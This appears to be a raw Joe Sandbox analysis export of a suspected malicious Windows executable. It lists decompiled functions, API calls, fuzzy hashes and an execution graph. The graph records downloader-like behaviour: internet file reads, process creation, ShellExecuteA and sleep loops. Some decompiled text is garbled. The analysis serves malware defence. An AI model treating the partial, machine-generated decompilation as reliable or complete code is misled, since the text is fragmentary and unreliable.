                                                          0x004518bc
                                                          0x0045190d
                                                          0x00451915
                                                          0x00451915

                                                          APIs
                                                          • RemoveDirectoryA.KERNEL32(00000000,00000000,004518FD,?,-00000001,00000000), ref: 004518D7
                                                          • GetLastError.KERNEL32(00000000,00000000,004518FD,?,-00000001,00000000), ref: 004518DF
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: DirectoryErrorLastRemove
                                                          • String ID: lG
                                                          • API String ID: 377330604-3317785604
                                                          • Opcode ID: 4dbe65fd7962dd966570b9307598dfc3e49d6bd10901cc5f3ecaabe58f81214d
                                                          • Instruction ID: fd372614016f92b8602765992e25db59decb0be624fc526f4664f166cb4ccb8b
                                                          • Opcode Fuzzy Hash: 4dbe65fd7962dd966570b9307598dfc3e49d6bd10901cc5f3ecaabe58f81214d
                                                          • Instruction Fuzzy Hash: D8F04C71A00308AFCB00EFB59C5199EB7E8DB0831571046BBFC14E3652E6386F08C59C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00402850(intOrPtr __eax, intOrPtr* __edx) {
                                                          				char _v276;
                                                          				CHAR* _t5;
                                                          				intOrPtr _t10;
                                                          				CHAR* _t15;
                                                          				intOrPtr* _t16;
                                                          				void* _t17;
                                                          
                                                          				_t16 = __edx;
                                                          				_t10 = __eax;
                                                          				_t18 = __eax;
                                                          				if(__eax == 0) {
                                                          					return E00403628(_t16, GetModuleFileNameA(0,  &_v276, 0x105), _t17, _t18);
                                                          				}
                                                          				_t15 = GetCommandLineA();
                                                          				while(1) {
                                                          					_t5 = E00402780(_t15, _t16);
                                                          					_t15 = _t5;
                                                          					__eflags = _t10;
                                                          					if(_t10 == 0) {
                                                          						break;
                                                          					}
                                                          					__eflags =  *_t16;
                                                          					if( *_t16 != 0) {
                                                          						_t10 = _t10 - 1;
                                                          						continue;
                                                          					}
                                                          					break;
                                                          				}
                                                          				return _t5;
                                                          			}









                                                          0x00402859
                                                          0x0040285b
                                                          0x0040285d
                                                          0x0040285f
                                                          0x00000000
                                                          0x00402878
                                                          0x00402884
                                                          0x00402886
                                                          0x0040288a
                                                          0x0040288f
                                                          0x00402891
                                                          0x00402893
                                                          0x00000000
                                                          0x00000000
                                                          0x00402895
                                                          0x00402898
                                                          0x0040289a
                                                          0x00000000
                                                          0x0040289a
                                                          0x00000000
                                                          0x00402898
                                                          0x004028a6

                                                          APIs
                                                          • GetModuleFileNameA.KERNEL32(00000000,?,00000105,AUTOMATION,00000001,00000000,004316E4,00000000,0043173A,?,?,004314D0,00000001,00000000,00000000), ref: 0040286D
                                                          • GetCommandLineA.KERNEL32(AUTOMATION,00000001,00000000,004316E4,00000000,0043173A,?,?,004314D0,00000001,00000000,00000000,?,00432170), ref: 0040287F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CommandFileLineModuleName
                                                          • String ID: AUTOMATION
                                                          • API String ID: 2151003578-3270279633
                                                          • Opcode ID: 69fe48077e5eb457855a331b81a617a190fffd8002b769d2dbe0990323bd62d9
                                                          • Instruction ID: daee7366679174b5276f86a0a27228b54be5a9370ddee46f5c897b3a8adc4376
                                                          • Opcode Fuzzy Hash: 69fe48077e5eb457855a331b81a617a190fffd8002b769d2dbe0990323bd62d9
                                                          • Instruction Fuzzy Hash: C5F0E52B70061227D22071AE098576B21CD8BC4754F18423BB648F73C0EEFCCC41429F
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 53%
                                                          			E004027EC(void* __ebx, void* __ecx, void* __edi, void* __esi) {
                                                          				char _v8;
                                                          				void* _t14;
                                                          				intOrPtr _t20;
                                                          				void* _t23;
                                                          				intOrPtr _t26;
                                                          
                                                          				_push(0);
                                                          				_push(_t26);
                                                          				_push("\xef\xbf\				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t26;
                                                          				_t14 = E00402780(GetCommandLineA(),  &_v8);
                                                          				_t23 = 0;
                                                          				while(1) {
                                                          					_t14 = E00402780(_t14,  &_v8);
                                                          					if(_v8 == 0) {
                                                          						break;
                                                          					}
                                                          					_t23 = _t23 + 1;
                                                          				}
                                                          				_pop(_t20);
                                                          				 *[fs:eax] = _t20;
                                                          				_push(E00402845);
                                                          				return E00403548( &_v8);
                                                          			}








                                                          0x004027ef
                                                          0x004027f6
                                                          0x004027f7
                                                          0x004027fc
                                                          0x004027ff
                                                          0x0040280f
                                                          0x00402811
                                                          0x00402813
                                                          0x0040281d
                                                          0x00402823
                                                          0x00000000
                                                          0x00000000
                                                          0x00402825
                                                          0x00402825
                                                          0x0040282a
                                                          0x0040282d
                                                          0x00402830
                                                          0x0040283d

                                                          APIs
                                                          • GetCommandLineA.KERNEL32(00000000,i,?,AUTOMATION,004314D0,00000001,00000000,?,004316CF,00000000,0043173A,?,?,004314D0,00000001,00000000), ref: 00402802
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CommandLine
                                                          • String ID: AUTOMATION$i
                                                          • API String ID: 3253501508-2573797198
                                                          • Opcode ID: ae67477c744024a6e7c2ac692df6760e5d4b638f78726258859dcd5773796150
                                                          • Instruction ID: 1d02eac51ef4009498f5db1f058e76f7186e7b059260ff6a50aebf8a4045dc95
                                                          • Opcode Fuzzy Hash: ae67477c744024a6e7c2ac692df6760e5d4b638f78726258859dcd5773796150
                                                          • Instruction Fuzzy Hash: D0F0E23A200208AFD711EA61CE06A5A76ACEB49704FA18476B800B31D1D2FC1E04C198
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Execution Graph

                                                          Execution Coverage:7.3%
                                                          Dynamic/Decrypted Code Coverage:1.3%
                                                          Signature Coverage:9.1%
                                                          Total number of Nodes:2000
                                                          Total number of Limit Nodes:28
                                                          execution_graph 33828 401b30 33829 401b99 InternetSetFilePointer InternetReadFile 33828->33829 33830 401c2d __fread_nolock 33829->33830 33831 401c52 HttpQueryInfoA 33830->33831 33832 401fd5 33831->33832 33833 401c76 CoCreateInstance 33831->33833 33885 40ebbf 33832->33885 33833->33832 33836 401caf 33833->33836 33835 402000 33836->33832 33856 4026b0 33836->33856 33838 401d0c MultiByteToWideChar 33871 40ee0d 33838->33871 33840 401d5e MultiByteToWideChar 33841 401dc0 33840->33841 33841->33841 33882 402550 27 API calls 4 library calls 33841->33882 33843 401eb0 std::ios_base::_Ios_base_dtor 33844 401fa1 33843->33844 33848 40ee0d 27 API calls 33843->33848 33844->33832 33845 401ddc 33845->33843 33846 402006 33845->33846 33892 413527 33846->33892 33850 401ee7 33848->33850 33850->33844 33851 401f74 33850->33851 33852 40ee0d 27 API calls 33850->33852 33884 401760 25 API calls 4 library calls 33851->33884 33854 401f64 33852->33854 33883 401760 25 API calls 4 library calls 33854->33883 33860 4026ce _Yarn 33856->33860 33861 4026f4 33856->33861 33857 4027de 33908 401950 27 API calls 33857->33908 33859 4027e3 33909 4018b0 27 API calls 3 library calls 33859->33909 33860->33838 33861->33857 33863 402748 33861->33863 33864 40276d 33861->33864 33863->33859 33897 40edcf 33863->33897 33866 40edcf std::_Facet_Register 27 API calls 33864->33866 33868 402759 _Yarn 33864->33868 33865 4027e8 33866->33868 33869 4027c0 std::ios_base::_Ios_base_dtor 33868->33869 33870 413527 25 API calls 33868->33870 33869->33838 33870->33857 33873 40edcf 33871->33873 33872 4162ee ___std_exception_copy 15 API calls 33872->33873 33873->33872 33874 40edee 33873->33874 33877 4018b0 Concurrency::cancel_current_task 33873->33877 33924 41a10c EnterCriticalSection LeaveCriticalSection std::_Facet_Register 33873->33924 33874->33840 33876 40edfa 33876->33876 33877->33876 33922 41044b RaiseException 33877->33922 33879 4018cc 33923 40ff71 26 API calls 2 library calls 33879->33923 33881 4018f3 33881->33840 33882->33845 33883->33851 33884->33844 33886 40ebc7 33885->33886 33887 40ebc8 IsProcessorFeaturePresent 33885->33887 33886->33835 33889 40ec0f 33887->33889 33925 40ebd2 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 33889->33925 33891 40ecf2 33891->33835 33926 4134b3 25 API calls 3 library calls 33892->33926 33894 413536 33927 413544 11 API calls CallUnexpected 33894->33927 33896 413543 33901 40edd4 33897->33901 33899 40edee 33899->33868 33901->33899 33903 4018b0 Concurrency::cancel_current_task 33901->33903 33912 41a10c EnterCriticalSection LeaveCriticalSection std::_Facet_Register 33901->33912 33913 4162ee 33901->33913 33902 40edfa 33902->33902 33903->33902 33910 41044b RaiseException 33903->33910 33905 4018cc 33911 40ff71 26 API calls 2 library calls 33905->33911 33907 4018f3 33907->33868 33909->33865 33910->33905 33911->33907 33912->33901 33918 41ed2f __dosmaperr 33913->33918 33914 41ed6d 33921 4135f1 14 API calls __dosmaperr 33914->33921 33916 41ed58 RtlAllocateHeap 33917 41ed6b 33916->33917 33916->33918 33917->33901 33918->33914 33918->33916 33920 41a10c EnterCriticalSection LeaveCriticalSection std::_Facet_Register 33918->33920 33920->33918 33921->33917 33922->33879 33923->33881 33924->33873 33925->33891 33926->33894 33927->33896 33928 100069b0 33931 10008701 33928->33931 33930 100069c8 33932 1000870c RtlFreeHeap 33931->33932 33936 10008735 __dosmaperr 33931->33936 33933 10008721 33932->33933 33932->33936 33937 10006406 14 API calls __dosmaperr 33933->33937 33935 10008727 GetLastError 33935->33936 33936->33930 33937->33935 33938 41a5f1 33939 41a5fa 33938->33939 33942 41a610 33938->33942 33939->33942 33944 41a61d 33939->33944 33941 41a607 33941->33942 33957 41a76f 15 API calls 3 library calls 33941->33957 33945 41a626 33944->33945 33946 41a629 33944->33946 33945->33941 33958 424883 33946->33958 33951 41a63b 33978 41e2b8 14 API calls __dosmaperr 33951->33978 33954 41a646 33977 41e2b8 14 API calls __dosmaperr 33954->33977 33955 41a66a 33955->33941 33957->33942 33959 41a630 33958->33959 33960 42488c 33958->33960 33964 424b90 GetEnvironmentStringsW 33959->33964 33979 41cc20 38 API calls 3 library calls 33960->33979 33962 4248af 33980 4246cf 48 API calls 4 library calls 33962->33980 33965 424ba7 33964->33965 33975 424bfd 33964->33975 33981 420094 33965->33981 33966 424c06 FreeEnvironmentStringsW 33967 41a635 33966->33967 33967->33951 33976 41a670 25 API calls 4 library calls 33967->33976 33969 424bc0 33969->33975 33984 41ed2f 33969->33984 33972 420094 std::_Locinfo::_Locinfo_dtor WideCharToMultiByte 33974 424be8 33972->33974 33991 41e2b8 14 API calls __dosmaperr 33974->33991 33975->33966 33975->33967 33976->33954 33977->33951 33978->33955 33979->33962 33980->33959 33982 4200ab WideCharToMultiByte 33981->33982 33982->33969 33985 41ed6d 33984->33985 33989 41ed3d __dosmaperr 33984->33989 33993 4135f1 14 API calls __dosmaperr 33985->33993 33987 41ed58 RtlAllocateHeap 33988 41ed6b 33987->33988 33987->33989 33988->33972 33988->33974 33989->33985 33989->33987 33992 41a10c EnterCriticalSection LeaveCriticalSection std::_Facet_Register 33989->33992 33991->33975 33992->33989 33993->33988 33994 40f323 33999 40f789 SetUnhandledExceptionFilter 33994->33999 33996 40f328 34000 41c6d8 25 API calls 2 library calls 33996->34000 33998 40f333 33999->33996 34000->33998 34001 40f335 34002 40f341 __FrameHandler3::FrameUnwindToState 34001->34002 34029 40f095 34002->34029 34004 40f348 34005 40f49b 34004->34005 34016 40f372 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock CallUnexpected 34004->34016 34153 40f5f5 4 API calls 2 library calls 34005->34153 34007 40f4a2 34154 417cad 34007->34154 34011 40f4b0 34012 40f391 34013 40f412 34037 40f710 34013->34037 34016->34012 34016->34013 34149 417c87 38 API calls 4 library calls 34016->34149 34021 40f42d 34150 40f746 GetModuleHandleW 34021->34150 34023 40f434 34023->34007 34024 40f438 34023->34024 34025 40f441 34024->34025 34151 417c62 24 API calls CallUnexpected 34024->34151 34152 40f206 74 API calls ___scrt_uninitialize_crt 34025->34152 34028 40f449 34028->34012 34030 40f09e 34029->34030 34158 40f7f3 IsProcessorFeaturePresent 34030->34158 34032 40f0aa 34159 411b66 10 API calls 2 library calls 34032->34159 34034 40f0af 34035 40f0b3 34034->34035 34160 411b85 7 API calls 2 library calls 34034->34160 34035->34004 34161 410b00 34037->34161 34040 40f418 34041 41adaa 34040->34041 34042 424883 48 API calls 34041->34042 34045 41adb3 34042->34045 34043 40f420 34046 4096f0 34043->34046 34045->34043 34163 424b28 38 API calls 34045->34163 34164 418873 GetSystemTimeAsFileTime 34046->34164 34048 409742 34166 417e17 34048->34166 34051 4026b0 27 API calls 34052 40977b __fread_nolock 34051->34052 34169 40c400 34052->34169 34057 409ee3 34333 40dff9 RaiseException Concurrency::cancel_current_task CallUnexpected 34057->34333 34058 40985e 34061 409891 34058->34061 34062 40986a 34058->34062 34070 40987b _Yarn 34058->34070 34060 409ee8 34334 4018b0 27 API calls 3 library calls 34060->34334 34063 40edcf std::_Facet_Register 27 API calls 34061->34063 34062->34060 34066 409875 34062->34066 34063->34070 34068 40edcf std::_Facet_Register 27 API calls 34066->34068 34067 409eed 34335 409f60 39 API calls 2 library calls 34067->34335 34068->34070 34069 409954 34105 4099d3 34069->34105 34111 409a52 std::ios_base::_Ios_base_dtor 34069->34111 34237 40ef48 6 API calls 34069->34237 34071 409f53 34070->34071 34234 40d710 27 API calls 34070->34234 34075 413527 25 API calls 34071->34075 34074 40bb90 69 API calls 34078 409905 34074->34078 34082 409f58 34075->34082 34078->34069 34078->34074 34235 40d030 69 API calls 4 library calls 34078->34235 34236 40d710 27 API calls 34078->34236 34080 409f01 34336 402510 34080->34336 34081 409fc7 34088 40ebbf CatchGuardHandler 5 API calls 34081->34088 34082->34081 34375 40ef48 6 API calls 34082->34375 34083 409adf 34103 409b0a 34083->34103 34242 40f25b 28 API calls 34083->34242 34084 40999e 34084->34105 34238 40f25b 28 API calls 34084->34238 34087 4026b0 27 API calls 34094 409a4a 34087->34094 34095 409fda 34088->34095 34090 4026b0 27 API calls 34106 409b72 34090->34106 34092 409f99 34092->34081 34376 40f25b 28 API calls 34092->34376 34093 409afd 34243 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34093->34243 34094->34111 34240 40ce50 27 API calls 3 library calls 34094->34240 34095->34021 34096 4099c6 34239 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34096->34239 34101 409f20 34341 402440 34101->34341 34103->34090 34105->34087 34119 409bec 34106->34119 34120 409c5b std::ios_base::_Ios_base_dtor 34106->34120 34244 40ef48 6 API calls 34106->34244 34108 409fbd 34377 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34108->34377 34109 409f2b 34113 417cad 24 API calls 34109->34113 34111->34071 34111->34103 34241 40ef48 6 API calls 34111->34241 34116 409f32 34113->34116 34114 409d12 34114->34116 34117 409d31 34114->34117 34115 409bb6 34115->34119 34245 40f25b 28 API calls 34115->34245 34349 4054c0 GetCurrentProcessId 34116->34349 34121 409f37 34117->34121 34127 409d37 34117->34127 34123 4026b0 27 API calls 34119->34123 34120->34067 34120->34071 34120->34114 34185 40bb90 34121->34185 34123->34120 34124 409bdf 34246 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34124->34246 34129 409dd8 std::ios_base::_Ios_base_dtor 34127->34129 34133 409d79 34127->34133 34134 409d64 34127->34134 34129->34071 34331 40a510 69 API calls std::ios_base::_Ios_base_dtor 34129->34331 34130 409e3e std::ios_base::_Ios_base_dtor 34332 40b930 25 API calls 2 library calls 34130->34332 34131 409f4e 34201 409500 34131->34201 34133->34129 34137 409da5 34133->34137 34247 417df6 34134->34247 34140 417df6 38 API calls 34137->34140 34138 409e8d 34138->34071 34141 409eb9 std::ios_base::_Ios_base_dtor 34138->34141 34139 409d69 Sleep 34144 40bb90 69 API calls 34139->34144 34140->34139 34143 40ebbf CatchGuardHandler 5 API calls 34141->34143 34145 409eda 34143->34145 34146 409dd0 34144->34146 34145->34021 34250 408d00 34146->34250 34149->34013 34150->34023 34151->34025 34152->34028 34153->34007 36458 417b4b 34154->36458 34157 417c71 24 API calls CallUnexpected 34157->34011 34158->34032 34159->34034 34160->34035 34162 40f723 GetStartupInfoW 34161->34162 34162->34040 34163->34045 34165 4188a5 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 34164->34165 34165->34048 34378 41cb63 GetLastError 34166->34378 34418 404360 34169->34418 34171 40c479 34172 40edcf std::_Facet_Register 27 API calls 34171->34172 34173 40c480 34172->34173 34427 40e286 34173->34427 34175 40c49a 34439 40c590 34175->34439 34177 409800 34180 40c330 34177->34180 34179 404360 27 API calls 34179->34177 34181 40edcf std::_Facet_Register 27 API calls 34180->34181 34182 40c36a 34181->34182 34183 40e286 std::locale::_Init 44 API calls 34182->34183 34184 409832 34183->34184 34184->34057 34184->34058 34186 40bbbb 34185->34186 34187 40bbc2 34186->34187 34188 40bc14 34186->34188 34189 40bbf5 34186->34189 34187->34131 34192 40edcf std::_Facet_Register 27 API calls 34188->34192 34196 40bc09 _Yarn 34188->34196 34190 40bc4a 34189->34190 34191 40bbfc 34189->34191 34487 4018b0 27 API calls 3 library calls 34190->34487 34194 40edcf std::_Facet_Register 27 API calls 34191->34194 34192->34196 34195 40bc02 34194->34195 34195->34196 34197 413527 25 API calls 34195->34197 34196->34131 34198 40bc54 34197->34198 34488 40a510 69 API calls std::ios_base::_Ios_base_dtor 34198->34488 34200 40bc6b std::ios_base::_Ios_base_dtor 34200->34131 34202 418873 GetSystemTimeAsFileTime 34201->34202 34203 40953a 34202->34203 34204 417e17 38 API calls 34203->34204 34209 409543 34204->34209 34205 4095ef CreateThread Sleep 34206 402510 27 API calls 34205->34206 36373 4056a0 34205->36373 34207 40961f 34206->34207 34489 405ea0 34207->34489 34209->34205 34872 40b520 99 API calls 34209->34872 34210 409631 34211 402440 25 API calls 34210->34211 34214 409640 34211->34214 34213 4095e8 34215 417cad 24 API calls 34213->34215 34494 404840 34214->34494 34215->34205 34223 40967b 34224 402510 27 API calls 34223->34224 34233 4096a9 34223->34233 34228 40969a 34224->34228 34225 40bb90 69 API calls 34226 4096ba 34225->34226 34227 408d00 252 API calls 34226->34227 34229 4096bf 34227->34229 34864 4066a0 CreateProcessA 34228->34864 34230 4054c0 47 API calls 34229->34230 34232 4096c7 34230->34232 34233->34225 34234->34078 34235->34078 34236->34078 34237->34084 34238->34096 34239->34105 34240->34111 34241->34083 34242->34093 34243->34103 34244->34115 34245->34124 34246->34119 34248 41cb63 _unexpected 38 API calls 34247->34248 34249 417dfb 34248->34249 34249->34139 34251 405f40 47 API calls 34250->34251 34252 408d3a 34251->34252 34253 408d44 34252->34253 34254 408d6a 34252->34254 34253->34254 34257 417df6 38 API calls 34253->34257 34255 401960 27 API calls 34254->34255 34256 408d7d 34255->34256 34258 409340 39 API calls 34256->34258 34259 408d55 Sleep 34257->34259 34261 408d86 34258->34261 34260 405f40 47 API calls 34259->34260 34260->34253 34262 402510 27 API calls 34261->34262 34263 408d99 34262->34263 34264 409290 39 API calls 34263->34264 34265 408da4 34264->34265 34266 402510 27 API calls 34265->34266 34267 408db7 34266->34267 34268 4091e0 39 API calls 34267->34268 34269 408dc2 34268->34269 34270 402510 27 API calls 34269->34270 34271 408dd5 34270->34271 34272 40c930 27 API calls 34271->34272 34273 408dea 34272->34273 34274 40c990 27 API calls 34273->34274 34275 408e02 34274->34275 34276 40ca40 27 API calls 34275->34276 34277 408e17 34276->34277 34278 40ca40 27 API calls 34277->34278 34279 408e2c 34278->34279 34280 40c990 27 API calls 34279->34280 34281 408e42 34280->34281 34282 402440 25 API calls 34281->34282 34283 408e50 34282->34283 34284 402440 25 API calls 34283->34284 34285 408e5b 34284->34285 34286 402440 25 API calls 34285->34286 34287 408e66 34286->34287 34288 402440 25 API calls 34287->34288 34289 408e71 34288->34289 34290 402440 25 API calls 34289->34290 34291 408e7c 34290->34291 34292 402440 25 API calls 34291->34292 34293 408e87 34292->34293 34294 402440 25 API calls 34293->34294 34301 408e96 34294->34301 34295 408eef 34296 408f18 Sleep 34295->34296 34297 417df6 38 API calls 34295->34297 34304 402440 25 API calls 34295->34304 34296->34301 34298 408f04 Sleep 34297->34298 34298->34301 34299 402510 27 API calls 34299->34301 34300 408f2b 34302 402440 25 API calls 34300->34302 34301->34295 34301->34299 34301->34300 34303 408f33 34302->34303 34305 401960 27 API calls 34303->34305 34304->34295 34311 408f52 34305->34311 34306 4093d0 39 API calls 34306->34311 34307 402510 27 API calls 34307->34311 34308 40c930 27 API calls 34308->34311 34309 402440 25 API calls 34309->34311 34310 408fe3 Sleep 34310->34311 34311->34306 34311->34307 34311->34308 34311->34309 34311->34310 34312 402410 27 API calls 34311->34312 34313 408fef 34311->34313 34312->34311 34314 401960 27 API calls 34313->34314 34325 409004 34314->34325 34315 409460 39 API calls 34315->34325 34316 402510 27 API calls 34316->34325 34317 40c930 27 API calls 34317->34325 34318 402440 25 API calls 34318->34325 34319 409138 34320 4054c0 47 API calls 34319->34320 34322 4091db 34320->34322 34321 4162ee 15 API calls ___std_exception_copy 34321->34325 34323 40bb90 69 API calls 34323->34325 34324 403770 51 API calls 34324->34325 34325->34315 34325->34316 34325->34317 34325->34318 34325->34319 34325->34321 34325->34323 34325->34324 34326 402b60 96 API calls 34325->34326 34327 40913d 34325->34327 34326->34325 34328 4091b2 Sleep 34327->34328 34329 4091cf Sleep 34327->34329 34330 10002450 86 API calls 34327->34330 34328->34319 34328->34327 34329->34319 34330->34327 34331->34130 34332->34138 34334->34067 34335->34080 34337 402533 34336->34337 34337->34337 34338 4026b0 27 API calls 34337->34338 34339 402545 34338->34339 34340 40b4e0 99 API calls 34339->34340 34340->34101 34342 40244b 34341->34342 34343 402466 std::ios_base::_Ios_base_dtor 34341->34343 34342->34343 34344 413527 25 API calls 34342->34344 34343->34109 34346 40248a 34344->34346 34345 4024c1 std::ios_base::_Ios_base_dtor 34345->34109 34346->34345 34347 413527 25 API calls 34346->34347 34348 40250c 34347->34348 36432 405420 OpenProcess 34349->36432 34357 40553b 34358 40ca40 27 API calls 34357->34358 34359 40554a 34358->34359 34360 40c880 27 API calls 34359->34360 34361 40555d 34360->34361 34362 402440 25 API calls 34361->34362 34363 405568 34362->34363 34364 402440 25 API calls 34363->34364 34365 405570 34364->34365 34366 402440 25 API calls 34365->34366 34367 405578 34366->34367 34368 402440 25 API calls 34367->34368 34369 405583 34368->34369 34370 402440 25 API calls 34369->34370 34371 40558e 34370->34371 34372 40559a ShellExecuteA 34371->34372 34373 417cad 24 API calls 34372->34373 34374 4055b1 34373->34374 34375->34092 34376->34108 34377->34081 34379 41cb80 34378->34379 34380 41cb7a 34378->34380 34384 41cb86 SetLastError 34379->34384 34409 41e7df 6 API calls std::_Lockit::_Lockit 34379->34409 34408 41e7a0 6 API calls std::_Lockit::_Lockit 34380->34408 34383 41cb9e 34383->34384 34385 41cba2 34383->34385 34389 40974b 34384->34389 34390 41cc1a 34384->34390 34410 41e25b 14 API calls 2 library calls 34385->34410 34388 41cbae 34391 41cbb6 34388->34391 34392 41cbcd 34388->34392 34389->34051 34417 419c49 38 API calls CallUnexpected 34390->34417 34411 41e7df 6 API calls std::_Lockit::_Lockit 34391->34411 34413 41e7df 6 API calls std::_Lockit::_Lockit 34392->34413 34396 41cbc4 34412 41e2b8 14 API calls __dosmaperr 34396->34412 34398 41cbd9 34399 41cbdd 34398->34399 34400 41cbee 34398->34400 34414 41e7df 6 API calls std::_Lockit::_Lockit 34399->34414 34415 41c991 14 API calls __dosmaperr 34400->34415 34404 41cbca 34404->34384 34405 41cbf9 34416 41e2b8 14 API calls __dosmaperr 34405->34416 34407 41cc00 34407->34384 34408->34379 34409->34383 34410->34388 34411->34396 34412->34404 34413->34398 34414->34396 34415->34405 34416->34407 34419 404381 34418->34419 34420 404379 34418->34420 34419->34171 34422 404390 34420->34422 34460 41044b RaiseException 34420->34460 34461 41044b RaiseException 34422->34461 34424 4043cf 34462 40ff71 26 API calls 2 library calls 34424->34462 34426 4043f4 34426->34171 34428 40e292 std::locale::_Init 34427->34428 34463 40e0a3 34428->34463 34433 40e2b0 34477 40e40e 40 API calls std::locale::_Setgloballocale 34433->34477 34434 40e30e std::locale::_Init 34434->34175 34436 40e2b8 34478 40e1de 15 API calls 3 library calls 34436->34478 34438 40e2ce 34469 40e0fb 34438->34469 34440 40e0a3 std::_Lockit::_Lockit 7 API calls 34439->34440 34441 40c5de 34440->34441 34442 40e0a3 std::_Lockit::_Lockit 7 API calls 34441->34442 34444 40c620 34441->34444 34443 40c600 34442->34443 34446 40e0fb std::_Lockit::~_Lockit 2 API calls 34443->34446 34449 40edcf std::_Facet_Register 27 API calls 34444->34449 34459 40c665 34444->34459 34445 40e0fb std::_Lockit::~_Lockit 2 API calls 34447 40c6ed 34445->34447 34446->34444 34448 40ebbf CatchGuardHandler 5 API calls 34447->34448 34450 40c4cb 34448->34450 34451 40c670 34449->34451 34450->34177 34450->34179 34483 403f10 68 API calls 2 library calls 34451->34483 34453 40c6a0 34484 40e67f 39 API calls __Getctype 34453->34484 34455 40c6b6 34485 403fc0 66 API calls 3 library calls 34455->34485 34457 40c6c8 34486 40e254 27 API calls std::_Facet_Register 34457->34486 34459->34445 34460->34422 34461->34424 34462->34426 34464 40e0b2 34463->34464 34465 40e0b9 34463->34465 34479 418c10 6 API calls std::_Lockit::_Lockit 34464->34479 34467 40e0b7 34465->34467 34480 40e909 EnterCriticalSection 34465->34480 34467->34438 34476 40e3eb 27 API calls 2 library calls 34467->34476 34470 40e105 34469->34470 34471 418c1e 34469->34471 34472 40e118 34470->34472 34481 40e917 LeaveCriticalSection 34470->34481 34482 418bf9 LeaveCriticalSection 34471->34482 34472->34434 34475 418c25 34475->34434 34476->34433 34477->34436 34478->34438 34479->34467 34480->34467 34481->34472 34482->34475 34483->34453 34484->34455 34485->34457 34486->34459 34487->34195 34488->34200 34490 405eb1 34489->34490 34492 405ede _Yarn 34490->34492 34873 4027f0 27 API calls 34490->34873 34492->34210 34495 4048a8 34494->34495 34498 4048ea 34494->34498 34964 40ef48 6 API calls 34495->34964 34497 4048b2 34497->34498 34965 40f25b 28 API calls 34497->34965 34500 4026b0 27 API calls 34498->34500 34502 404947 34500->34502 34501 4048dd 34966 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34501->34966 34874 418b65 34502->34874 34505 40495f 34505->34505 34506 4026b0 27 API calls 34505->34506 34507 404995 34506->34507 34508 4049c3 std::ios_base::_Ios_base_dtor 34507->34508 34509 404d2a 34507->34509 34511 4049f5 _Yarn 34508->34511 34967 402980 27 API calls 4 library calls 34508->34967 34512 413527 25 API calls 34509->34512 34518 404a88 34511->34518 34968 40ef48 6 API calls 34511->34968 34513 404d2f 34512->34513 34515 413527 25 API calls 34513->34515 34517 404d34 34515->34517 34516 404a50 34516->34518 34969 40f25b 28 API calls 34516->34969 34520 4026b0 27 API calls 34518->34520 34522 404b0a 34520->34522 34521 404a7b 34970 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34521->34970 34887 404490 34522->34887 34525 404b12 34528 404b6f 34525->34528 34971 40ef48 6 API calls 34525->34971 34527 404b36 34527->34528 34972 40f25b 28 API calls 34527->34972 34530 4026b0 27 API calls 34528->34530 34532 404bd6 34530->34532 34531 404b62 34973 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34531->34973 34534 404490 87 API calls 34532->34534 34535 404bde 34534->34535 34538 404c3f 34535->34538 34974 40ef48 6 API calls 34535->34974 34537 404c04 34537->34538 34975 40f25b 28 